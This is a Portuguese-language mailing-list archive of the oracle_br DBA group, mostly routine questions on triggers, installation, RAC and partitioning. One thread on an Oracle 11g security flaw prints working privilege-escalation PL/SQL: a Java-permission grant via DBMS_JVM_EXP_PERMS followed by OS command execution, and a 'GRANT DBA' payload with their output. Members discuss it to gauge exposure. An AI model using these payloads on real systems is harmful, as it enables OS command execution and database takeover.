ambiente Forms web EXIGE rede
Re: [oracle_br] Re: Export to Excel
Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: Dúvida Pragma Autonomous_Transaction
Recomentação geral, PRAGMA AUTONOMOUS TRANSACTION é *gambiarra*, evite ao máximo seu uso. Se você chegou a esta alternativa, pense mais uma vez. Provavelmente há uma forma melhor de resolver isso. Em ultimos casos, (depois de listar umas 10 opções que não funcionaram), coloque isso no codigo e documente muito bem. 2011/5/15 Lo Bello rogerio...@gmail.com: Valeu Chiappa, o problema é que peguei o banco pronto, e foi me pedido para apenas criar as PKs e FKs do banco sem alterar sua estrutura. Mas um cara do grupo me falou que dá pra fazer uma FK relacionando a mesma tabela, isso eu não sabia e já resolve meu problema... Rogério Em 13 de maio de 2011 20:52, José Laurindo jlchia...@yahoo.com.brescreveu: Rogério, antes de mais nada tenho que comentar que essa modelagem não me parece estar lá muito correta : SE há relacionamento de pai e filho (ie, a informação B tem Dependência de uma outra informação A), logicamente isso *** DEVERIA *** ter sido modelado como PK e FK, foi Exatamente para Isso que se inventou as constraints no banco de dados. Modelar tudo numa só tabela Necessariamente significa jogar PELA JANELA o código todo, os recursos TODOS nativos do banco de dados referentes à integridade e vc Necessariamente terá que escrever e escrever código e mais código, que portanto TERÁ que ser mantido depois... Bom, isso posto : quando vc apela pra constraints via trigger (com aspas TOTAIS aí nessas constraints, o que vc teria aí é um quebra-galho Trabalhoso e escrito por vc) , vc TEM QUE levar em conta um item muito importante : o seu banco NÃO é mono-usuário, imagino, então NADA impede que uma sessão A não enxergue os dados que uma sessão B está inserindo/alterando ao mesmo tempo, e portanto o SELECT retorne zero pra A, aí vem o COMMIT, e vc ficar com um registro órfao ... Idem pra performance, vai ficar Absolutamente, Totalmente por sua conta qqer coisa nesse sentido, E ao mesmo tempo vc deixa de usar o código compilado, dentro do banco, e o vai substituir por código INTERPRETADO, como é o PL/SQL, sabe-se lá que tipo de resultado vc vai obter : pode até ser aceitável pra vc, mas eu não poria a mão no fogo... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Eduardo Souza pjabrantes@... escreveu Em 12 de maio de 2011 15:24, Lo Bello rogerioblb@... escreveu: O que eu posso te dizer é que uma procedure com Pragma Autonomous_Transaction pode executar insert com commit independente de uma outra procedure que a tenha chamado. Aqui na minha instalação utilizamos isso para gravação em tabela de 'LOGS' onde podemos acompanhar o andamento da execução do processo antes que este tenha acabado. Pessoal, Tenho uma tabela com os campos CONTA e CONTA_MAE, o campo CONTA_MAE se refere a outras linhas da mesma tabela. O problema é que tenho uma trigger que ao deletar um registro no ON DELETE verifica se existe alguma conta com o campo CONTA_MAE mencionando esse registro deletado, mas a trigger dá mutante. Achei uma solução usando Pragma Autonomous_Transaction, mas li em alguns lugares que esse comando pode te causar alguns problemas se usado de forma incorreta. alguém sabe me dizer se existe alguma problema em uso-la assim: CREATE OR REPLACE TRIGGER TBCONTA_TR BEFORE DELETE ON TBCONTA FOR EACH ROW DECLARE V_CONT NUMBER; Pragma Autonomous_Transaction; BEGIN SELECT COUNT(*) INTO V_CONT FROM TBCONTA WHERE CONTA_MAE = :OLD.CONTA; IF V_CONT 0 THEN RAISE_APPLICATION_ERROR( -20151,'Esta conta tem contas abaixo dela, delete-as primeiro!'); END IF; END; Rogério [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: FORMS/REPORTS 10G
Schurtz eduardo.schurtz@... escreveu Já faz alguns anos que escuto isso... Já existe uma previsão para isso acontecer??? -- Eduardo Schurtz 2011/5/16 Diogenes Gmail diogenesvit@... Não, não faça isso para que investir em uma tecnologia q vai ser descontinuada! Utilize Java com ADF e JDeveloper! De: oracle_br@yahoogrupos.com.br mailto: oracle_br%40yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br mailto: oracle_br%40yahoogrupos.com.br ] Em nome de Eduardo Souza Enviada em: sexta-feira, 13 de maio de 2011 16:47 Para: oracle_br@yahoogrupos.com.br mailto:oracle_br%40yahoogrupos.com.br Assunto: [oracle_br] FORMS/REPORTS 10G Amigos, vou iniciar o desenvolvimento de aplicativos utilizando ferramentas 10G. No caso atual, tive que solicitar banco oracle 10G compatível com Oracle Application Services, além de criar diretório no UNIX configurando arquivo CFG, ENV, etc. Ou seja, não tinha o ambiente já configurado para isso. Então eu pergunto: Após desenvolver os aplicativos e colocar nos respectivos diretórios, como é que eu acesso via web a aplicação menu (como eu executo a aplicação)? Existe mais alguma configuração a ser montada? Grande abraço a todos. [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Christian Cedrid [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/oracle_br/ * Para sair deste grupo, envie um e-mail para: oracle_br-unsubscr...@yahoogrupos.com.br * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [oracle_br] Re: Instalação no Ubuntu
É aí que eu queria chegar, se você tivesse experiencia em Linux, daria um jeito de instalar no Ubuntu. Como não é o caso, instale um Oracle Enterprise Linux, que é certificado, os pacotes são detalhados e facinhos de instalar, e seja feliz! Quer ser mais feliz ainda? Baixe o Oracle Database 11.2.0.x que está mais fácil de instalar que o 11.1! 2011/5/12 Gustavo Marques tav...@gmail.com: Tá difícil aqui galera, eu sou uma mula em Linux. Trabalho com SQL Server, nunca fiz nada no Linux. O erro agora é nas verificações. Ele deu erro em todos os pacotes. Não passou por nenhum. Mas o pior é que todos já estão instalados. rsrs Deu um erro também de nível de execução: valor esperado 3,5 / valor real 2 Tenho a impressão que a instalação ignorou meus pacotes por causa do meu nível de execução. Alguém sabe como faço pra alterá-lo? Os outros erros do sysct1.conf eu consegui corrigi. Em 10 de maio de 2011 11:02, Gustavo Marques tav...@gmail.com escreveu: Galera, uma ajuda aqui pra um iniciante... Estou começando os estudos no Oracle. Estava tentando fazer a instalação do Oracle 11g no Ubuntu 1104. Segui todos os passos, mas ao executar o OUI me deparei com alguns errinhos logo na tela Typical Instalations. Segui as dicas de vários tutoriais de instalação. Não sou muito chegado em Linux, mas achei estranho que a instalação seja feita no File System e não no /home, ou eu estou totalmente enganado e não entendi nada de nenhum tutorial. Minha estrutura de diretórios está ficando da seguinte forma: Oracle BAse: /u01/app/oracle Software Location: /u01/app/oracle/product/11.1.0/db_1 Database file Location: /u01/app/oracle/oradata Com isso o OUI me mostra 2 erros: [INS-32008] Oracle base location is in the home directory. (??) [INS-32021] Insufficient disk space on this volume for the selected Oracle home. (meu file system só tem 10gb) É isso mesmo? A instalação é realmente nesse diretório? Vou ter que formatar meu Ubuntu e aumentar o volume da partição? Aproveitando gostaria de tirar outra dúvida, baixando o Oracle no site, ele vem em 2 arquios .zip, porém todo o conteúdo da parte 2 está na parte 1. Estou executando apenas pela parte 1, vou ter algum problema? Valeu! -- Gustavo Marques (61) 8404-6850 -- Gustavo Marques (61) 8404-6850 [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Instalação no Ubuntu
Gustavo, Primeiramente, para você começar seus estudos com o pé direito, eu recomendaria que você deixasse de lado seu Ubuntu e instalasse uma distribuição homologada pela Oracle. No seu caso recomendo o Oracle Enterprise Linux, que é free (sem suporte) e pode ser baixado do site da Oracle. Com isso, você já pode seguir uma documentação oficial de instalação que pode ser encontrada no Tahiti (http://tahiti.oracle.com) e instalar seu banco de dados muito mais facilmente. O padrão OFA (Optimal Flexible Architecture) que define o que a Oracle acha que é o melhor caminho (no disco) para instalar o Oracle mudou um pouco a partir da versão 11g, e muita gente que está acostumada com o OFA antigo acaba usando os caminhos que estão acostumados. O instalador não proíbe a instalação no caminho que você sugeriu, provavelmente o erro é por causa do tamanho. 2011/5/10 Gustavo Marques tav...@gmail.com: Galera, uma ajuda aqui pra um iniciante... Estou começando os estudos no Oracle. Estava tentando fazer a instalação do Oracle 11g no Ubuntu 1104. Segui todos os passos, mas ao executar o OUI me deparei com alguns errinhos logo na tela Typical Instalations. Segui as dicas de vários tutoriais de instalação. Não sou muito chegado em Linux, mas achei estranho que a instalação seja feita no File System e não no /home, ou eu estou totalmente enganado e não entendi nada de nenhum tutorial. Minha estrutura de diretórios está ficando da seguinte forma: Oracle BAse: /u01/app/oracle Software Location: /u01/app/oracle/product/11.1.0/db_1 Database file Location: /u01/app/oracle/oradata Com isso o OUI me mostra 2 erros: [INS-32008] Oracle base location is in the home directory. (??) [INS-32021] Insufficient disk space on this volume for the selected Oracle home. (meu file system só tem 10gb) É isso mesmo? A instalação é realmente nesse diretório? Vou ter que formatar meu Ubuntu e aumentar o volume da partição? Aproveitando gostaria de tirar outra dúvida, baixando o Oracle no site, ele vem em 2 arquios .zip, porém todo o conteúdo da parte 2 está na parte 1. Estou executando apenas pela parte 1, vou ter algum problema? Valeu! -- Gustavo Marques (61) 8404-6850 [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Falha de segurança do 11g
» Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos * Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/oracle_br/ * Para sair deste grupo, envie um e-mail para: oracle_br-unsubscr...@yahoogrupos.com.br * O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html
Re: [oracle_br] Re: Falha de segurança do 11g
BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / Procedimento PL/SQL concluÝdo com sucesso. Verifica aqui que o usuario agora tem priveligios de execute SQL conn / as sysdba Conectado. SQL col type_name for a30 SQL col name for a30 SQL col action for a10 SQL SELECT type_name, name , action 2 FROM sys.dba_java_policy 3 WHERE grantee = 'ALEX' 4 / TYPE_NAME NAME ACTION -- -- -- java.io.FilePermission ALL FILES execute SQL A partir daqui posso como usuário ALEX posso executar um comando do sistema operacional. Por exemplo SQL conn alex/senha Conectado. SQL set time on 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual; DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/ CDIR -- 11:15:36 SQL Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo C:\Documents and Settings\Alessandrocd\ C:\dir blah.txt O volume na unidade C não tem nome. O número de série do volume é 9C90-1F08 Pasta de C:\ 03/05/2011 11:15 1.281 blah.txt 1 arquivo(s) 1.281 bytes 0 pasta(s) 14.178.578.432 bytes disponíveis E posso virar dba, administrador da maquina... Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em 10.2.0.4 Abraços Alessandro Guimaraes http://aguimaraes.wordpress.com.br -Mensagem original- De: oracle_br@yahoogrupos.com.br [mailto: oracle_br@yahoogrupos.com.br] Em nome de Ivan Ricardo Schuster Enviada em: terça-feira, 3 de maio de 2011 10:01 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] Falha de segurança do 11g Bom, a informação de que A Oracle não tem patch…nem se pronuciou quanto a falha é de fevereiro de 2010. Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código que liberaria o usuário para executar algo no SO é este: DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; Este código NÃO funciona com usuário comum (grant create session) em uma base 11.2.0.2, conforme demonstrado: SQL create user ivan1 identified by ivan1; User created. SQL grant create session to ivan1; Grant succeeded. SQL conn ivan1/ivan1 Connected. SQL DECLARE 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; 3 CURSOR C1 IS SELECT 'GRANT',USER(), 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from dual; 4 BEGIN 5 OPEN C1; 6 FETCH C1 BULK COLLECT INTO POL; 7 CLOSE C1; 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); 9 END; 10 / POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; * ERROR at line 2: ORA-06550: line 2, column 7: PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared ORA-06550: line 2, column 7: PL/SQL: Item ignored ORA-06550: line 6, column 30: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 6, column 3: PL/SQL: SQL Statement ignored ORA-06550: line 8, column 39: PLS-00320: the declaration of the type of this expression is incomplete or malformed ORA-06550: line 8, column 3: PL/SQL: Statement ignored A outra vulnerabilidade descrita no documento, para dar grant de DBA ao usuário, também não funcionou: SQL SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS', 'writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO GREMLIN''; END;', 'BEGIN NULL; END;') FROM DUAL; DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','ORACLE/AURORA/RDBMS/DBMSJAVA','SYS','WRIT EOUTPUTTOFILE','TEXT',NULL,NULL,NULL,NULL,0,1,1,1,1,0,'DECLAREPRAGMAAUTONOMO US_TRANSACTION;BEGINEXECUTEIMMEDIATE''GRANTDBAT
Re: [oracle_br] Instalação de RAC
Acredito que por 12g Release 2 você quis dizer 11g Release 2. Nesta versão o OUI não dá mais suporte a RAW ou BLOCK devices puros. Eles podem ser utilizados em caso de upgrade de uma instalação que já os utilize, mas em instalações novas, as opções são ASM (que no fundo no fundo é raw/block device) ou cluster file system. Então, respondendo a duvida do Welvis, em instalações novas de RAC 11gR2, você tem a opção de usar ASM ou CFS. Recomendação? Eu prefiro ASM. Abraço -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux 2010/9/8 Marcus Vinicius - Oracle ACE ♠ mvmpe...@yahoo.com.br: Vamos lá, já respondido em PVT, mas acho útil colocar a resposta aqui: 1) Sobre raw devices, é o seguinte: é permitido armazenar o OCR e Voting Disk em: - 10g a) Raw Devices modo caracter (os famosos /dev/raw/rawX); b) Raw Devices modo bloco (os famosos block devices); c) Cluster file systems suportados (como por exemplo o OCFS2, GPFS, etc...). - 11g Release 1 a) Raw Devices modo bloco (os famosos block devices); b) Cluster file systems suportados (como por exemplo o OCFS2, GPFS, etc...). - 12g Release 2 a) Raw Devices modo bloco (os famosos block devices); b) Cluster file systems suportados (como por exemplo o OCFS2, GPFS, etc...); c) ASM. O que eu cito no Blog, é que os raw devices modo caracter foram dessuportados no Kernel 2.6.x do Linux. Isso aconteceu mesmo no RHEL5. Porém, se você não utiliza Cluster file systems suportados, a única forma de instalar o Clusterware 10.2 no RHEL5 é criando raw devices modo caracter através do UDEV para apontar o OCR e Voting Disk, e depois migrá-los para os block devices. Isso é WORKAROUND e deve ser feito somente para a instalação. Para o 11g Release 1, não é mais necessário criar raw devices modo caracter, já que o CRS não suporta mais esta opção. Aí você pode instalar diretamente em block devices. Abraços Marcus Vinicius Miguel Pedro Oracle ACE OCP Database 9i OCP Database 10g OCE RAC 10g OCP Database 11g OCS Implementation 11g mvmpe...@yahoo.com.br Blog: http://www.viniciusdba.com.br Perfil ACE: http://apex.oracle.com/pls/otn/f?p=19297:4:4259357633741942::NO:4:P4_ID:2540 On 08/09/2010, at 10:30, Welvis Douglas wrote: Olá pessoal, tudo bem? Qual a forma de instalação de RAC certificada pela Oracle Atualmente? Estes dias estava vendo no blog do Vinicius que por RAW DEVICE não está sendo mais certificada.. Obrigado pela ajuda. Att, Welvis Douglas da Silva Moretto Oracle Certified Associate - OCA 10g Oracle Database Sql Expert Fone: (41) 9997-6297 E-mail: welvis_doug...@hotmail.com, wel...@stcruz.com.br Messenger: welvis_doug...@hotmail.com Mestre em Engenharia de Produção e Sistemas - PUC/PR; Especializando em Banco de Dados - UNOPAR; Especialista Engenharia de Software - UNOPAR; Tecnólogo em Processamento de Dados - FACCAR. [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: PARTICIONAMENTO DE TABELAS 9i
Aparecido, Uma forma mais eficiente de particionar esta tabela é adicionar este campo e usar o exchange partition. Escrevi algo sobre isso ha um tempo atras no link abaixo, acredito que funcione 100% no Oracle 9i, mas é bom testar: http://ivanschuster.wordpress.com/2010/06/04/utilizando-exchange-partition/ Abraço 2010/8/27 Aparecido cido...@yahoo.com.br: Obrigado pela resposta Amigo! Então, é exatamente isso, adicionar um campo somente para particionar uma tabela, e este campo seria adicionado na aplicação com o sysdate (por exemplo) pra cair na partição correta. A pergunta foi porque na tabela não tenho nenhum campo data. Valeu. Abraço --- Em oracle_br@yahoogrupos.com.br, Duilio Bruniera Junior bruni...@... escreveu Então amigão a parada é assim ! O range partition, ou (Particionamento por intervalo), tem como principal função é dividir uma tabela em intervalos de tempo ou numéricos. Agora deixa eu ver se entendi, oque voce quer fazer é criar um campo data ha mais nessa tabela, jogar um valor sysdate ou uma sequence nesse campo pra poder particionar a tabela, é isso ? se for isso o primeiro passo é fazer um alter table add novo campo e carregar os valores depois criar a tabela_com_particionamento, depois voce pode fazer um INSERT INTO schema.table_com_particionamento (select * from tabela_sem_particionamento); depois faz um rename na tabela. mais voce tem que analizar o tamanho e se a movimentação tiver que ser a quente é um pouco mais complicado. Em 26 de agosto de 2010 19:59, Aparecido cido...@... escreveu: Olá pessoal. Alguém sabe se é possível criar um campo do tipo data somente para fazer particionamento por range?? Obrigado pela atenção. Att. Cido [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Install Oracle RAC in VM
Welvis, na VMWare Workstation não funciona. a menos que cvocê crie uma máquina como servidor de ISCSI ou coisa parecida. Já instalei em VMWare Server e em ESXi e funciona numa boa, desde que voce tenha disco rápido o suficiente e memória tambem, além das manhas da configuração. Entre as duas opções que você citou, eu iria de Oracle VM. A Oracle disponibiliza inclusive templates de Oracle RAC, e certamente tendo o hardware recomendado, funcionará. 2010/8/24 Welvis Douglas wel...@stcruz.com.br: A instalação vai até bem.. só que quando chega na hora de Criar os diskGroups não funciona. Estou usando o VM 7 Workstation. No VBOX ou Oracle VM vou ter este tipo de problema? Att, _ De: oracle_br@yahoogrupos.com.br [mailto:oracle...@yahoogrupos.com.br] Em nome de Welvis Douglas Enviada em: terça-feira, 24 de agosto de 2010 16:04 Para: oracle_br@yahoogrupos.com.br Assunto: [oracle_br] Install Oracle RAC in VM Olá pessoal, a dias estou tentando instalar um RAC usando uma VM.. Quando não é um problema é outro, no caso estou tomando como base o artigo que nosso amigo Vinicius escreveu, entretanto a minha VM não é a mesma que a dele, ou seja deu problema. Alguém já instalou RAC no Oracle VM Server? Alguém sabe se tem como eu instalar na Virtual BOX? Obrigado pela ajuda. Att, Welvis Douglas da Silva Moretto Oracle Certified Associate - OCA 10g Oracle Database Sql Expert Fone: (41) 9997-6297 E-mail: welvis_doug...@hotmail.com mailto:welvis_douglas%40hotmail.com , wel...@stcruz.com.br mailto:welvis%40stcruz.com.br Messenger: welvis_doug...@hotmail.com mailto:welvis_douglas%40hotmail.com Mestre em Engenharia de Produção e Sistemas - PUC/PR; Especializando em Banco de Dados - UNOPAR; Especialista Engenharia de Software - UNOPAR; Tecnólogo em Processamento de Dados - FACCAR. [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] separar bancos em instâncias
Ferreira de Andrade* *DBA - OCP - Oracle Certified Professional* *COBIT Foundation 4.1* Fone: (41)8855-8874 Brt email: raulf...@gmail.com Skype: raul.andrade www.clickdba.com A adversidade leva alguns a serem vencidos e outros a baterem recordes. William Arthur Ward [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Copiar datafiles
Sergio, você quer transferir todos os dados de um raw para outro no ASM? Se for este o caso, adicione o raw novo ao diskgroup, aguarde sincronizar e remova o raw antigo do DG. Esta operação pode ser feita online. 2010/8/20 Sergio L.Spolon ser...@muffato.com.br: Srs. boa noite. Tenho Oracle 10g (rac com 2 instances), Linux RedHat, ASM e Raw device. A pergunta é: preciso mover alguns datafiles de um determinado raw para outro. Colocando a tablespace em offline, se fosse filesystem ou pasta/arquivo do windows eu conseguiria utilizando a copia via SO. Mas com raw device/ASM, como fazer isso? Obrigado Sérgio L. Spolon Analista de Sistemas - DBA Irmãos Muffato Cia. Ltda. * ser...@muffato.com.br ( (43) 3174-1300 Ramal 1317 8 www.supermuffato.com.br --- Esta mensagem não implica a assunção de obrigações em nome da empresa Irmãos Muffato e Cia Ltda, conforme Contrato Social em sua 3a. Cláusula da 56a. alteração. Qualquer uso não autorizado, replicação ou disseminação desta mensagem ou parte dela é expressamente proibido. A empresa Irmãos Muffato e Cia Ltda não é responsável pelo conteúdo ou a veracidade desta informação. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos -- Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux
Re: [oracle_br] Re: Oracle RAC x PL/SQL Developer 1/2 off topic
Alexandre, um workaround para o problema é criar uma entrada de tnsnames que conecte em um único nó do RAC. abraço Ivan Ricardo Schuster OCP 10g/11g OCE RAC 10g/Linux 2010/8/13 José Laurindo jlchia...@yahoo.com.br: Eu não uso, mas a minha Recomendação é vc checar no site do fabricante se tem versão mais recente, ou patches disponíveis, com muita certeza deve ser isso, vc deve estar usando uma versão antiga, que não atende às mudanças havidas nos clients Oracle 9.x e 10g... []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Alexandre Rocha Plácido aplacido.ora...@... escreveu Quem da lista usa essa ferramenta para desenvolver procedures, functions, triggers etc. Até o Oracle 8 funcionava que era uma beleza porém no 10 e no 11 em RAC para fazer debug está um parto, ora funciona, ora não funciona (congela). Aí tem que matar a aplicação e abrir de novo. Creio que tem algo a ver com abrir uma sessão numa instância e o debug na outra. Alguém já conseguiu equacionar essa questão? [cid:image001.jpg@...] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: criação de instância do RMAN
Já vi diversos bancos standard criados do zero com esta mesma mensagem, não parece ser erro, mas não consegui identificar um ponto comum entre eles que gerasse esta mensagem. O script do Márcio não parece ter problemas. Marcio, costuma ajudar se você fornecer mais detalhes do seu banco. Qual a versão? Verifique espaço em disco, memória, parametros de kernel... Tem outro banco rodando na mesma máquina? 2010/8/10 José Laurindo jlchia...@yahoo.com.br: A msg Oracle Data Guard is not available in this edition of Oracle. parece ser a causa-raiz : pelo jeito vc está tentando usar um script de criação de banco gerado num EE num Standard ou num XE, ou o banco aonde o script foi gerado tinha features não presentes nos binários aonde vc o está tentando usar A recomendação seria vc usar o DBCA (assistente de criação de banco) presente nos binários daonde vai ser o banco a criar : vc tanto pode criar diretamente pelo dbca quanto pode pedir pro dbca gerar scripts, que depois vc edita/altera/acerta como quiser antes de rodar. []s Chiappa --- Em oracle_br@yahoogrupos.com.br, Márcio Ricardo Alves da Silva marcio_...@... escreveu Boas. Estou tentando criar uma instância para o RMAN e estou recebendo o seguinte erro: @/homologa/RMAN/DBA/create_db_rman.sql create database RMAN logfile group 1 ('/homologa/RMAN/log/redo1.log') size 100M, * ERROR at line 1: ORA-03113: end-of-file on communication channel no arquivo de alert tem a seguinte mensagem: Oracle Data Guard is not available in this edition of Oracle. 